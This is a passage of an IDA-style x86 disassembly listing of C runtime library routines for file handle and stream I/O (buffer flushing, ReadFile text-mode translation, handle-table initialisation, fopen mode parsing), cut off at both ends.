locret_414D95: ; CODE XREF: sub_414D7F+5j retn sub_414D7F endp ; =============== S U B R O U T I N E ======================================= sub_414D96 proc near ; CODE XREF: sub_414309+63p ; sub_414309+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_414D9C: ; CODE XREF: sub_414D96+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_414D65 mov edi, eax push edi call sub_417399 pop ecx test eax, eax pop ecx jnz short loc_414D9C mov eax, edi pop edi pop esi retn sub_414D96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414DBA proc near ; CODE XREF: sub_40F8BC+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4BA314, 0 push ebx jnz short loc_414DE5 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_414E83 cmp eax, 7Ah jg loc_414E83 sub eax, 20h jmp loc_414E83 ; --------------------------------------------------------------------------- loc_414DE5: ; CODE XREF: sub_414DBA+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_414E18 cmp dword_424430, 1 jle short loc_414E05 push 2 push ebx call sub_414E86 pop ecx pop ecx jmp short loc_414E10 ; --------------------------------------------------------------------------- loc_414E05: ; CODE XREF: sub_414DBA+3Dj mov eax, off_424224 mov al, [eax+ebx*2] and eax, 2 loc_414E10: ; CODE XREF: sub_414DBA+49j test eax, eax jnz short loc_414E18 loc_414E14: ; CODE XREF: sub_414DBA+AFj mov eax, ebx jmp short loc_414E83 ; --------------------------------------------------------------------------- loc_414E18: ; CODE XREF: sub_414DBA+34j ; sub_414DBA+58j mov edx, off_424224 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_414E3B and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_414E44 ; --------------------------------------------------------------------------- loc_414E3B: ; CODE XREF: sub_414DBA+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_414E44: ; CODE XREF: sub_414DBA+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4BA314 call sub_4158A4 add esp, 20h test eax, eax jz short loc_414E14 cmp eax, 1 jnz short loc_414E76 movzx eax, [ebp+var_4] jmp short loc_414E83 ; --------------------------------------------------------------------------- loc_414E76: ; CODE XREF: sub_414DBA+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_414E83: ; CODE XREF: sub_414DBA+14j ; sub_414DBA+1Dj ... pop ebx leave retn sub_414DBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E86 proc near ; CODE XREF: sub_40F8BC+27p ; sub_40F8BC+E4p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_414EA4 mov ecx, off_424224 movzx eax, word ptr [ecx+eax*2] jmp short loc_414EF6 ; --------------------------------------------------------------------------- loc_414EA4: ; CODE XREF: sub_414E86+10j mov ecx, eax push esi mov esi, off_424224 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_414EC9 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_414ED2 ; --------------------------------------------------------------------------- loc_414EC9: ; CODE XREF: sub_414E86+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_414ED2: ; CODE XREF: sub_414E86+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41745D add esp, 1Ch test eax, eax jnz short loc_414EF2 leave retn ; --------------------------------------------------------------------------- loc_414EF2: ; CODE XREF: sub_414E86+68j movzx eax, word ptr [ebp+arg_0+2] loc_414EF6: ; CODE XREF: sub_414E86+1Cj and eax, [ebp+arg_4] leave retn sub_414E86 endp ; =============== S U B R O U T I N E ======================================= sub_414EFB proc near ; CODE XREF: sub_40FC04+2Ap ; sub_417827+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4BB8C0 jnb loc_414F95 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4BB7C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_414F95 push edi call sub_417793 cmp eax, 0FFFFFFFFh pop ecx jz short loc_414F74 cmp edi, 1 jz short loc_414F42 cmp edi, 2 jnz short loc_414F58 loc_414F42: ; CODE XREF: sub_414EFB+40j push 2 call sub_417793 push 1 mov ebp, eax call sub_417793 pop ecx cmp eax, ebp pop ecx jz short loc_414F74 loc_414F58: ; CODE XREF: sub_414EFB+45j push edi call sub_417793 pop ecx push eax call dword_41A068 ; CloseHandle test eax, eax jnz short loc_414F74 call dword_41A07C ; RtlGetLastWin32Error mov ebp, eax jmp short loc_414F76 ; --------------------------------------------------------------------------- loc_414F74: ; CODE XREF: sub_414EFB+3Bj ; sub_414EFB+5Bj ... xor ebp, ebp loc_414F76: ; CODE XREF: sub_414EFB+77j push edi call sub_417719 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_414F91 push ebp call sub_4175A6 pop ecx jmp short loc_414FA6 ; --------------------------------------------------------------------------- loc_414F91: ; CODE XREF: sub_414EFB+8Bj xor eax, eax jmp short loc_414FA9 ; --------------------------------------------------------------------------- loc_414F95: ; CODE XREF: sub_414EFB+Ej ; sub_414EFB+2Fj and dword_4BA288, 0 mov dword_4BA284, 9 loc_414FA6: ; CODE XREF: sub_414EFB+94j or eax, 0FFFFFFFFh loc_414FA9: ; CODE XREF: sub_414EFB+98j pop edi pop esi pop ebp pop ebx retn sub_414EFB endp ; =============== S U B R O U T I N E ======================================= sub_414FAE proc near ; CODE XREF: sub_40FC04+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_414FD7 test al, 8 jz short loc_414FD7 push dword ptr [esi+8] call sub_40ECAF and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_414FD7: ; CODE XREF: sub_414FAE+Aj ; sub_414FAE+Ej pop esi retn sub_414FAE endp ; =============== S U B R O U T I N E ======================================= sub_414FD9 proc near ; CODE XREF: sub_415079+2Dp ; sub_415079+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_414FEB push esi call sub_415079 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_414FEB: ; CODE XREF: sub_414FD9+7j push esi call sub_415014 test eax, eax pop ecx jz short loc_414FFB or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_414FFB: ; CODE XREF: sub_414FD9+1Bj test byte ptr [esi+0Dh], 40h jz short loc_415010 push dword ptr [esi+10h] call sub_4177D0 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_415010: ; CODE XREF: sub_414FD9+26j xor eax, eax pop esi retn sub_414FD9 endp ; =============== S U B R O U T I N E ======================================= sub_415014 proc near ; CODE XREF: sub_40FC04+1Ap ; sub_40FE9A+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_415061 test ax, 108h jz short loc_415061 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_415061 push edi push eax push dword ptr [esi+10h] call sub_415AF3 add esp, 0Ch cmp eax, edi jnz short loc_41505A mov eax, [esi+0Ch] test al, 80h jz short loc_415061 and al, 0FDh mov [esi+0Ch], eax jmp short loc_415061 ; --------------------------------------------------------------------------- loc_41505A: ; CODE XREF: sub_415014+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_415061: ; CODE XREF: sub_415014+14j ; sub_415014+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_415014 endp ; =============== S U B R O U T I N E ======================================= sub_415070 proc near ; CODE XREF: sub_416A9Bp push 1 call sub_415079 pop ecx retn sub_415070 endp ; =============== S U B R O U T I N E ======================================= sub_415079 proc near ; CODE XREF: sub_414FD9+Ap ; sub_415070+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4BB580, esi jle short loc_4150D7 loc_41508A: ; CODE XREF: sub_415079+5Cj mov eax, dword_4BA570 mov eax, [eax+esi*4] test eax, eax jz short loc_4150CE mov ecx, [eax+0Ch] test cl, 83h jz short loc_4150CE cmp [esp+0Ch+arg_0], 1 jnz short loc_4150B4 push eax call sub_414FD9 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4150CE inc ebx jmp short loc_4150CE ; --------------------------------------------------------------------------- loc_4150B4: ; CODE XREF: sub_415079+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_4150CE test cl, 2 jz short loc_4150CE push eax call sub_414FD9 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4150CE or edi, eax loc_4150CE: ; CODE XREF: sub_415079+1Bj ; sub_415079+23j ... inc esi cmp esi, dword_4BB580 jl short loc_41508A loc_4150D7: ; CODE XREF: sub_415079+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_4150E2 mov eax, edi loc_4150E2: ; CODE XREF: sub_415079+65j pop edi pop esi pop ebx retn sub_415079 endp ; =============== S U B R O U T I N E ======================================= sub_4150E6 proc near ; CODE XREF: sub_40FC5A+A9p ; sub_414D65+13p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_4151BA test al, 40h jnz loc_4151BA test al, 2 jz short loc_41510C or al, 20h mov [esi+0Ch], eax jmp loc_4151BA ; --------------------------------------------------------------------------- loc_41510C: ; CODE XREF: sub_4150E6+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_415120 push esi call sub_41698C pop ecx jmp short loc_415125 ; --------------------------------------------------------------------------- loc_415120: ; CODE XREF: sub_4150E6+2Fj mov eax, [esi+8] mov [esi], eax loc_415125: ; CODE XREF: sub_4150E6+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_4151BF add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_4151A9 cmp eax, 0FFFFFFFFh jz short loc_4151A9 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41517E mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_415167 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4BB7C0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41516C ; --------------------------------------------------------------------------- loc_415167: ; CODE XREF: sub_4150E6+6Bj mov edi, offset dword_424440 loc_41516C: ; CODE XREF: sub_4150E6+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41517E or dh, 20h mov [esi+0Ch], edx loc_41517E: ; CODE XREF: sub_4150E6+62j ; sub_4150E6+90j cmp dword ptr [esi+18h], 200h jnz short loc_41519B mov ecx, [esi+0Ch] test cl, 8 jz short loc_41519B test ch, 4 jnz short loc_41519B mov dword ptr [esi+18h], 1000h loc_41519B: ; CODE XREF: sub_4150E6+9Fj ; sub_4150E6+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_4151A9: ; CODE XREF: sub_4150E6+55j ; sub_4150E6+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_4151BA: ; CODE XREF: sub_4150E6+Aj ; sub_4150E6+12j ... or eax, 0FFFFFFFFh pop esi retn sub_4150E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151BF proc near ; CODE XREF: sub_40FC5A+90p ; sub_4150E6+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4BB8C0 jnb loc_41539C mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4BB7C0h[eax*4] mov eax, dword_4BB7C0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41539C and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_415274 test dl, 2 jnz short loc_415274 test dl, 48h jz short loc_415234 mov al, [eax+5] cmp al, 0Ah jz short loc_415234 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_415234: ; CODE XREF: sub_4151BF+56j ; sub_4151BF+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call dword_41A164 ; ReadFile test eax, eax jnz short loc_415287 call dword_41A07C ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_41526F mov dword_4BA284, 9 mov dword_4BA288, ecx jmp loc_4153AD ; --------------------------------------------------------------------------- loc_41526F: ; CODE XREF: sub_4151BF+99j cmp eax, 6Dh jnz short loc_41527B loc_415274: ; CODE XREF: sub_4151BF+4Cj ; sub_4151BF+51j xor eax, eax jmp loc_4153B0 ; --------------------------------------------------------------------------- loc_41527B: ; CODE XREF: sub_4151BF+B3j push eax call sub_4175A6 pop ecx jmp loc_4153AD ; --------------------------------------------------------------------------- loc_415287: ; CODE XREF: sub_4151BF+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_415397 test edx, edx jz short loc_4152AC cmp byte ptr [edi], 0Ah jnz short loc_4152AC or al, 4 jmp short loc_4152AE ; --------------------------------------------------------------------------- loc_4152AC: ; CODE XREF: sub_4151BF+E2j ; sub_4151BF+E7j and al, 0FBh loc_4152AE: ; CODE XREF: sub_4151BF+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_415391 loc_4152C6: ; CODE XREF: sub_4151BF+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_415381 cmp al, 0Dh jz short loc_4152E2 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_415373 ; --------------------------------------------------------------------------- loc_4152E2: ; CODE XREF: sub_4151BF+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_415300 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_4152F7 add [ebp+arg_8], 2 jmp short loc_415355 ; --------------------------------------------------------------------------- loc_4152F7: ; CODE XREF: sub_4151BF+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_415373 ; --------------------------------------------------------------------------- loc_415300: ; CODE XREF: sub_4151BF+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_41A164 ; ReadFile test eax, eax jnz short loc_415328 call dword_41A07C ; RtlGetLastWin32Error test eax, eax jnz short loc_41536F loc_415328: ; CODE XREF: sub_4151BF+15Dj cmp [ebp+var_C], 0 jz short loc_41536F mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41534A mov al, [ebp+var_1] cmp al, 0Ah jz short loc_415355 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_415373 ; --------------------------------------------------------------------------- loc_41534A: ; CODE XREF: sub_4151BF+176j cmp edi, [ebp+arg_4] jnz short loc_41535A cmp [ebp+var_1], 0Ah jnz short loc_41535A loc_415355: ; CODE XREF: sub_4151BF+136j ; sub_4151BF+17Dj mov byte ptr [edi], 0Ah jmp short loc_415372 ; --------------------------------------------------------------------------- loc_41535A: ; CODE XREF: sub_4151BF+18Ej ; sub_4151BF+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_415560 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_415373 loc_41536F: ; CODE XREF: sub_4151BF+167j ; sub_4151BF+16Dj mov byte ptr [edi], 0Dh loc_415372: ; CODE XREF: sub_4151BF+199j inc edi loc_415373: ; CODE XREF: sub_4151BF+11Ej ; sub_4151BF+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_4152C6 jmp short loc_415391 ; --------------------------------------------------------------------------- loc_415381: ; CODE XREF: sub_4151BF+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_415391 or al, 2 mov [esi], al loc_415391: ; CODE XREF: sub_4151BF+101j ; sub_4151BF+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_415397: ; CODE XREF: sub_4151BF+DAj mov eax, [ebp+var_8] jmp short loc_4153B0 ; --------------------------------------------------------------------------- loc_41539C: ; CODE XREF: sub_4151BF+12j ; sub_4151BF+39j and dword_4BA288, 0 mov dword_4BA284, 9 loc_4153AD: ; CODE XREF: sub_4151BF+ABj ; sub_4151BF+C3j or eax, 0FFFFFFFFh loc_4153B0: ; CODE XREF: sub_4151BF+B7j ; sub_4151BF+1DBj pop edi pop esi pop ebx leave retn sub_4151BF endp ; =============== S U B R O U T I N E ======================================= sub_4153B5 proc near ; CODE XREF: sub_410B5C+6Fp var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_40E882 mov esi, eax pop ecx test esi, esi jnz short loc_4153D5 push 1Bh call sub_410C52 pop ecx loc_4153D5: ; CODE XREF: sub_4153B5+16j mov dword_4BB7C0, esi mov dword_4BB8C0, 20h lea eax, [esi+100h] loc_4153EB: ; CODE XREF: sub_4153B5+52j cmp esi, eax jnb short loc_415409 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4BB7C0 add esi, 8 add eax, 100h jmp short loc_4153EB ; --------------------------------------------------------------------------- loc_415409: ; CODE XREF: sub_4153B5+38j lea eax, [esp+54h+var_44] push eax call dword_41A134 ; GetStartupInfoA cmp word ptr [esp+54h+var_14+2], 0 jz loc_4154E5 mov eax, [esp+54h+var_10] test eax, eax jz loc_4154E5 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_41543F mov esi, eax loc_41543F: ; CODE XREF: sub_4153B5+86j cmp dword_4BB8C0, esi jge short loc_415499 mov edi, offset dword_4BB7C4 loc_41544C: ; CODE XREF: sub_4153B5+DAj push 100h call sub_40E882 test eax, eax pop ecx jz short loc_415493 add dword_4BB8C0, 20h mov [edi], eax lea ecx, [eax+100h] loc_41546A: ; CODE XREF: sub_4153B5+CFj cmp eax, ecx jnb short loc_415486 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41546A ; --------------------------------------------------------------------------- loc_415486: ; CODE XREF: sub_4153B5+B7j add edi, 4 cmp dword_4BB8C0, esi jl short loc_41544C jmp short loc_415499 ; --------------------------------------------------------------------------- loc_415493: ; CODE XREF: sub_4153B5+A4j mov esi, dword_4BB8C0 loc_415499: ; CODE XREF: sub_4153B5+90j ; sub_4153B5+DCj xor edi, edi test esi, esi jle short loc_4154E5 loc_41549F: ; CODE XREF: sub_4153B5+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_4154DC mov cl, [ebp+0] test cl, 1 jz short loc_4154DC test cl, 8 jnz short loc_4154BE push eax call dword_41A170 ; GetFileType test eax, eax jz short loc_4154DC loc_4154BE: ; CODE XREF: sub_4153B5+FCj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4BB7C0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_4154DC: ; CODE XREF: sub_4153B5+EFj ; sub_4153B5+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41549F loc_4154E5: ; CODE XREF: sub_4153B5+65j ; sub_4153B5+71j ... xor ebx, ebx loc_4154E7: ; CODE XREF: sub_4153B5+195j mov eax, dword_4BB7C0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_415542 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_415502 push 0FFFFFFF6h pop eax jmp short loc_41550C ; --------------------------------------------------------------------------- loc_415502: ; CODE XREF: sub_4153B5+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41550C: ; CODE XREF: sub_4153B5+14Bj push eax call dword_41A16C ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_415531 push edi call dword_41A170 ; GetFileType test eax, eax jz short loc_415531 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_415537 loc_415531: ; CODE XREF: sub_4153B5+163j ; sub_4153B5+16Ej or byte ptr [esi+4], 40h jmp short loc_415546 ; --------------------------------------------------------------------------- loc_415537: ; CODE XREF: sub_4153B5+17Aj cmp eax, 3 jnz short loc_415546 or byte ptr [esi+4], 8 jmp short loc_415546 ; --------------------------------------------------------------------------- loc_415542: ; CODE XREF: sub_4153B5+13Ej or byte ptr [esi+4], 80h loc_415546: ; CODE XREF: sub_4153B5+180j ; sub_4153B5+185j ... inc ebx cmp ebx, 3 jl short loc_4154E7 push dword_4BB8C0 call dword_41A168 ; LockResource pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_4153B5 endp ; =============== S U B R O U T I N E ======================================= sub_415560 proc near ; CODE XREF: sub_40FD42+20p ; sub_40FD42+E2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4BB8C0 push esi push edi jnb short loc_4155E2 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4BB7C0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4155E2 push eax call sub_417793 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4155A4 mov dword_4BA284, 9 jmp short loc_4155F3 ; --------------------------------------------------------------------------- loc_4155A4: ; CODE XREF: sub_415560+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call dword_41A05C ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4155C4 call dword_41A07C ; RtlGetLastWin32Error jmp short loc_4155C6 ; --------------------------------------------------------------------------- loc_4155C4: ; CODE XREF: sub_415560+5Aj xor eax, eax loc_4155C6: ; CODE XREF: sub_415560+62j test eax, eax jz short loc_4155D3 push eax call sub_4175A6 pop ecx jmp short loc_4155F3 ; --------------------------------------------------------------------------- loc_4155D3: ; CODE XREF: sub_415560+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4155F6 ; --------------------------------------------------------------------------- loc_4155E2: ; CODE XREF: sub_415560+Dj ; sub_415560+2Aj and dword_4BA288, 0 mov dword_4BA284, 9 loc_4155F3: ; CODE XREF: sub_415560+42j ; sub_415560+71j or eax, 0FFFFFFFFh loc_4155F6: ; CODE XREF: sub_415560+80j pop edi pop esi pop ebx retn sub_415560 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155FA proc near ; CODE XREF: sub_40FF26+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4BA480 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_415633 cmp al, 72h jz short loc_41562C cmp al, 77h jnz loc_415747 mov ecx, 301h jmp short loc_415638 ; --------------------------------------------------------------------------- loc_41562C: ; CODE XREF: sub_4155FA+21j xor ecx, ecx or esi, 1 jmp short loc_41563B ; --------------------------------------------------------------------------- loc_415633: ; CODE XREF: sub_4155FA+1Dj mov ecx, 109h loc_415638: ; CODE XREF: sub_4155FA+30j or esi, 2 loc_41563B: ; CODE XREF: sub_4155FA+37j push 1 pop edx loc_41563E: ; CODE XREF: sub_4155FA+8Bj ; sub_4155FA+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41572D cmp edx, ebx jz loc_41572D movsx eax, al cmp eax, 54h jg short loc_4156CC jz short loc_4156BC sub eax, 2Bh jz short loc_4156A6 sub eax, 19h jz short loc_41569C sub eax, 0Eh jz short loc_415687 dec eax jnz loc_41571E cmp [ebp+var_4], ebx jnz loc_41571E mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41563E ; --------------------------------------------------------------------------- loc_415687: ; CODE XREF: sub_4155FA+6Fj cmp [ebp+var_4], ebx jnz loc_41571E mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41563E ; --------------------------------------------------------------------------- loc_41569C: ; CODE XREF: sub_4155FA+6Aj test cl, 40h jnz short loc_41571E or ecx, 40h jmp short loc_41563E ; --------------------------------------------------------------------------- loc_4156A6: ; CODE XREF: sub_4155FA+65j test cl, 2 jnz short loc_41571E and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41563E ; --------------------------------------------------------------------------- loc_4156BC: ; CODE XREF: sub_4155FA+60j mov eax, 1000h test ecx, eax jnz short loc_41571E or ecx, eax jmp loc_41563E ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4155FA+5Ej sub eax, 62h jz short loc_415719 dec eax jz short loc_415702 sub eax, 0Bh jz short loc_4156EB sub eax, 6 jnz short loc_41571E test ch, 0C0h jnz short loc_41571E or ch, 40h jmp loc_41563E ; --------------------------------------------------------------------------- loc_4156EB: ; CODE XREF: sub_4155FA+DDj cmp [ebp+var_8], ebx jnz short loc_41571E mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41563E ; --------------------------------------------------------------------------- loc_415702: ; CODE XREF: sub_4155FA+D8j cmp [ebp+var_8], ebx jnz short loc_41571E mov [ebp+var_8], 1 or esi, 4000h jmp loc_41563E ; --------------------------------------------------------------------------- loc_415719: ; CODE XREF: sub_4155FA+D5j test ch, 0C0h jz short loc_415725 loc_41571E: ; CODE XREF: sub_4155FA+72j ; sub_4155FA+7Bj ... xor edx, edx jmp loc_41563E ; --------------------------------------------------------------------------- loc_415725: ; CODE XREF: sub_4155FA+122j or ch, 80h jmp loc_41563E ; --------------------------------------------------------------------------- loc_41572D: ; CODE XREF: sub_4155FA+4Aj ; sub_4155FA+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_417827 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41574B loc_415747: ; CODE XREF: sub_4155FA+25j xor eax, eax jmp short loc_415765 ; --------------------------------------------------------------------------- loc_41574B: ; CODE XREF: sub_4155FA+14Bj mov eax, [ebp+arg_C] inc dword_4BA440 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_415765: ; CODE XREF: sub_4155FA+14Fj pop edi pop esi pop ebx leave retn sub_4155FA endp ; =============== S U B R O U T I N E ======================================= sub_41576A proc near ; CODE XREF: sub_40FF26p mov edx, dword_4BB580 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_4157DB mov ebx, dword_4BA570 mov edi, ebx loc_415786: ; CODE XREF: sub_41576A+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_4157A1 test byte ptr [ecx+0Ch], 83h jz short loc_41579C inc eax add edi, 4 cmp eax, edx jl short loc_415786 jmp short loc_4157DB ; --------------------------------------------------------------------------- loc_41579C: ; CODE XREF: sub_41576A+26j mov esi, [ebx+eax*4] jmp short loc_4157C5 ; --------------------------------------------------------------------------- loc_4157A1: ; CODE XREF: sub_41576A+20j mov edi, eax push 20h shl edi, 2 call sub_40E882 pop ecx mov ecx, dword_4BA570 mov [edi+ecx], eax mov eax, dword_4BA570 mov edi, [edi+eax] cmp edi, ebp jz short loc_4157DB mov esi, edi loc_4157C5: ; CODE XREF: sub_41576A+35j cmp esi, ebp jz short loc_4157DB or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_4157DB: ; CODE XREF: sub_41576A+12j ; sub_41576A+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41576A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157E2 proc near ; CODE XREF: 